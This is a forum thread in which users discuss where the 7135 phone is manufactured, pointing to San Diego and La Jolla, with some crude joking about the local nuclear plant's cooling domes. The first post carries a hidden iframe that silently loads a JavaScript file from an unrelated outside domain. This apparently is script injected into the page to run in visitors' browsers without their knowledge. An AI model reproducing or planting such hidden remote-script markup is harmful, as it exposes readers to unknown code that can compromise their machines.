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    Where is the 7135 Manufactured?

    Purely out of curiosity, what does the box/phone say the point of manufacture is?

    I was surprised when I saw
    "Made in U.S.A of U.S. and Imported Components"
    on my 6035. Wondering if they are using the same plant for the 7135<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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    Re: Where is the 7135 Manufactured?

    Originally posted by AtomicInternet
    Purely out of curiosity, what does the box/phone say the point of manufacture is?

    I was surprised when I saw
    "Made in U.S.A of U.S. and Imported Components"
    on my 6035. Wondering if they are using the same plant for the 7135
    San Diego, California

    Dave

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    Geez, I'm going to be out there next week, think I might pay a visit and see if they have one I can look at....

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    Originally posted by WORBC
    Geez, I'm going to be out there next week, think I might pay a visit and see if they have one I can look at....
    Believe me, I tried. I was out there in December. I was never able to get past the guard out front.
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    well, just a thought!

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    But you got an attractive photo.
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    Dwdod,
    Perhaps when you get your 7135, you should install the pic on your phone, so that your precious will always feel close to its mommy.
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    Originally posted by Markito
    Dwdod,
    Perhaps when you get your 7135, you should install the pic on your phone, so that your precious will always feel close to its mommy.
    I don't have to install this pic on my precious so that it feels close to its mommy because I live here in America's Finest City! My precious is rarely more than 20 miles from its mommy!

    Andrew

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    I think I saw a post here a while back that said they are assembled in lajolie(sp?), Ca, but the plastic parts are made in a Wisconsin plant.
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    Originally posted by Steve
    lajolie(sp?), Ca
    La Jolla - pronounced "la hoy are" - part of San Diego county, off the 5 freeway, south of Camp Pendelton and the big boobs .

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    Thanks Token.. I hope they are working hard for a VZ shipment and not staring at the big boobs.
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    But could ya blame them?
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    Originally posted by Token User
    La Jolla - pronounced "la hoy are" - part of San Diego county, off the 5 freeway, south of Camp Pendelton and the big boobs .
    I drove past the "big boobs" when I drove from L.A. to San Diego. If you have to have an atomic energy plant in your neighborhood, I guess big boobs are preferable to the more usual style.
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    Originally posted by dwdod
    I drove past the "big boobs" when I drove from L.A. to San Diego. If you have to have an atomic energy plant in your neighborhood, I guess big boobs are preferable to the more usual style.
    Yeah, they really are shaped more like a "gajillion d cup bra" pointing skyward, than the "Madonna Vogue conical bra" version you see as most cooling towers.

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